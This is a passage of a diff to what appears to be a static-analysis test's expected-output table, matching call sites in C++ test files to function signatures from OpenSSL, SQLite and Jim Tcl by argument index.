atl.cpp:1079:14:1079:16 | Mid | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (acttab *,int) | | acttab_insert | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (char *,int) | | PEM_proc_type | 1 | | atl.cpp:1079:14:1079:16 | Mid | (char,int) | CStringT | CStringT | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const BIGNUM *,int) | | BN_get_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const BIO *,int) | | BIO_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const BIO *,int) | | BIO_test_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const DH *,int) | | DH_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const DH *,int) | | DH_test_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const DH *,int) | | ossl_dh_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const DSA *,int) | | DSA_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const DSA *,int) | | DSA_test_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const DSA *,int) | | ossl_dsa_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const RSA *,int) | | RSA_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const RSA *,int) | | RSA_test_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const RSA *,int) | | ossl_rsa_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const SSL *,int) | | SSL_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const UI *,int) | | UI_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509 *,int) | | X509_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509 *,int) | | X509_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | atl.cpp:1079:14:1079:16 | Mid | (const XCHAR *,int) | CStringT | CStringT | 1 | | atl.cpp:1079:14:1079:16 | Mid | (const YCHAR *,int) | CStringT | CStringT | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const char *,int) | | DH_meth_new | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const char *,int) | | DSA_meth_new | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const char *,int) | | Jim_StrDupLen | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const char *,int) | | RSA_meth_new | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const char *,int) | | parse_yesno | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (int *,int) | | X509_PURPOSE_set | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (int *,int) | | X509_TRUST_set | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | BN_security_bits | 0 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | BN_security_bits | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | EVP_MD_meth_new | 0 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | EVP_MD_meth_new | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | EVP_PKEY_meth_new | 0 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | EVP_PKEY_meth_new | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | acttab_alloc | 0 | +| atl.cpp:1079:14:1079:16 | Mid | (int,int) | | acttab_alloc | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (rule *,int) | | Configlist_add | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (rule *,int) | | Configlist_addbasis | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (uint16_t,int) | | tls1_group_id2nid | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (unsigned char *,int) | | RAND_bytes | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (void *,int) | | DSO_dsobyaddr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (void *,int) | | sqlite3_realloc | 1 | | atl.cpp:1079:14:1079:16 | Mid | (wchar_t,int) | CStringT | CStringT | 1 | | atl.cpp:1081:9:1081:15 | Replace | (PCXSTR,PCXSTR) | CStringT | Replace | 0 | | atl.cpp:1081:9:1081:15 | Replace | (PCXSTR,PCXSTR) | CStringT | Replace | 1 | @@ -250,6 +3646,34 @@ signatureMatches | atl.cpp:1082:9:1082:15 | Replace | (XCHAR,XCHAR) | CStringT | Replace | 0 | | atl.cpp:1082:9:1082:15 | Replace | (XCHAR,XCHAR) | CStringT | Replace | 1 | | atl.cpp:1082:9:1082:15 | Replace | (int,XCHAR) | CStringT | Insert | 1 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | ASN1_tag2str | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | Jim_SignalId | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | PKCS12_init | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | Symbol_Nth | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | ossl_tolower | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | ossl_toupper | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | pulldown_test_framework | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | sqlite3_errstr | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | tls1_alert_code | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | tls13_alert_code | 0 | +| atl.cpp:1083:14:1083:18 | Right | (int) | | wait_until_sock_readable | 0 | | atl.cpp:1085:14:1085:26 | SpanExcluding | (PCXSTR) | | operator+= | 0 | | atl.cpp:1085:14:1085:26 | SpanExcluding | (PCXSTR) | CSimpleStringT | operator+= | 0 | | atl.cpp:1085:14:1085:26 | SpanExcluding | (PCXSTR) | CStringT | operator= | 0 | @@ -268,23 +3692,1813 @@ signatureMatches | atl.cpp:1095:15:1095:23 | TrimRight | (PCXSTR) | | operator+= | 0 | | atl.cpp:1095:15:1095:23 | TrimRight | (PCXSTR) | CSimpleStringT | operator+= | 0 | | atl.cpp:1095:15:1095:23 | TrimRight | (PCXSTR) | CStringT | operator= | 0 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (unsigned char *,int,unsigned long) | | UTF8_putc | 1 | +| atl.cpp:1231:5:1231:12 | CStrBufT | (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_CipherFinal_ex | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_DecryptFinal_ex | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_EncryptFinal_ex | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_OpenFinal | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_CIPHER_CTX *,unsigned char *,int *) | | EVP_SealFinal | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_DecodeFinal | 2 | +| bsd.cpp:12:5:12:10 | accept | (EVP_ENCODE_CTX *,unsigned char *,int *) | | EVP_EncodeFinal | 2 | +| bsd.cpp:12:5:12:10 | accept | (Jim_Interp *,Jim_Obj *,int *) | | Jim_DictPairs | 2 | +| bsd.cpp:12:5:12:10 | accept | (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolFromExpr | 2 | +| bsd.cpp:12:5:12:10 | accept | (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetBoolean | 2 | +| bsd.cpp:12:5:12:10 | accept | (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetIndex | 2 | +| bsd.cpp:12:5:12:10 | accept | (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetReturnCode | 2 | +| bsd.cpp:12:5:12:10 | accept | (Jim_Interp *,Jim_Obj *,int *) | | Jim_GetSourceInfo | 2 | +| bsd.cpp:12:5:12:10 | accept | (OPENSSL_STACK *,const void *,int *) | | OPENSSL_sk_find_all | 2 | +| bsd.cpp:12:5:12:10 | accept | (OSSL_DECODER *,const char *,int *) | | ossl_decoder_fast_is_a | 2 | +| bsd.cpp:12:5:12:10 | accept | (OSSL_LIB_CTX *,uint32_t,int *) | | ossl_rand_uniform_uint32 | 2 | +| bsd.cpp:12:5:12:10 | accept | (OSSL_PROVIDER *,size_t,int *) | | ossl_provider_test_operation_bit | 2 | +| bsd.cpp:12:5:12:10 | accept | (PACKET *,uint64_t *,int *) | | ossl_quic_wire_peek_frame_header | 2 | +| bsd.cpp:12:5:12:10 | accept | (PROV_DRBG *,OSSL_PARAM[],int *) | | ossl_drbg_get_ctx_params_no_lock | 2 | +| bsd.cpp:12:5:12:10 | accept | (QUIC_RSTREAM *,size_t *,int *) | | ossl_quic_rstream_available | 2 | +| bsd.cpp:12:5:12:10 | accept | (const BIGNUM *,const BIGNUM *,int *) | | ossl_ffc_validate_private_key | 2 | +| bsd.cpp:12:5:12:10 | accept | (const DH *,const BIGNUM *,int *) | | DH_check_pub_key | 2 | +| bsd.cpp:12:5:12:10 | accept | (const DH *,const BIGNUM *,int *) | | ossl_dh_check_priv_key | 2 | +| bsd.cpp:12:5:12:10 | accept | (const DH *,const BIGNUM *,int *) | | ossl_dh_check_pub_key_partial | 2 | +| bsd.cpp:12:5:12:10 | accept | (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_priv_key | 2 | +| bsd.cpp:12:5:12:10 | accept | (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_pub_key | 2 | +| bsd.cpp:12:5:12:10 | accept | (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_pub_key_partial | 2 | +| bsd.cpp:12:5:12:10 | accept | (const DSA *,int,int *) | | ossl_dsa_check_params | 2 | +| bsd.cpp:12:5:12:10 | accept | (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key | 2 | +| bsd.cpp:12:5:12:10 | accept | (const FFC_PARAMS *,const BIGNUM *,int *) | | ossl_ffc_validate_public_key_partial | 2 | +| bsd.cpp:12:5:12:10 | accept | (const SSL *,const SSL_CTX *,int *) | | ssl_get_security_level_bits | 2 | +| bsd.cpp:12:5:12:10 | accept | (const X509 *,EVP_MD **,int *) | | X509_digest_sig | 2 | +| bsd.cpp:12:5:12:10 | accept | (const char *,const OPT_PAIR *,int *) | | opt_pair | 2 | +| bsd.cpp:12:5:12:10 | accept | (const unsigned char **,unsigned int,int *) | | ossl_b2i | 2 | +| bsd.cpp:12:5:12:10 | accept | (int,const char **,int *) | | sqlite3_keyword_name | 2 | +| bsd.cpp:12:5:12:10 | accept | (int,int,int *) | | ssl_set_version_bound | 2 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | ASN1_STRING_type_new | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | ASN1_tag2bit | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | ASN1_tag2str | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | EVP_PKEY_asn1_get0 | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | Jim_ReturnCode | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | Jim_SignalId | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | OBJ_nid2ln | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | OBJ_nid2obj | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | OBJ_nid2sn | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | OSSL_STORE_INFO_type_string | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | OSSL_trace_get_category_name | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | PKCS12_init | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | Symbol_Nth | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | X509_PURPOSE_get0 | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | X509_PURPOSE_get_by_id | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | X509_TRUST_get0 | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | X509_TRUST_get_by_id | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | evp_pkey_type2name | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | ossl_cmp_bodytype_to_string | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | ossl_tolower | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | ossl_toupper | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | pulldown_test_framework | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | sqlite3_compileoption_get | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | sqlite3_errstr | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | tls1_alert_code | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | tls13_alert_code | 0 | +| constructor_delegation.cpp:8:2:8:8 | MyValue | (int) | | wait_until_sock_readable | 0 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIGNUM *,int) | | BN_clear_bit | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIGNUM *,int) | | BN_mask_bits | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIGNUM *,int) | | BN_set_bit | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIGNUM *,int) | | BN_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIGNUM *,int) | | bn_expand2 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIGNUM *,int) | | bn_wexpand | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIO *,int) | | BIO_clear_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIO *,int) | | BIO_find_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIO *,int) | | BIO_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIO *,int) | | BIO_set_init | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIO *,int) | | BIO_set_retry_reason | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIO *,int) | | BIO_set_shutdown | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (BIO *,int) | | TXT_DB_read | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (DH *,int) | | DH_clear_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (DH *,int) | | DH_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (DSA *,int) | | DSA_clear_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (DSA *,int) | | DSA_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (EVP_CIPHER *,int) | | 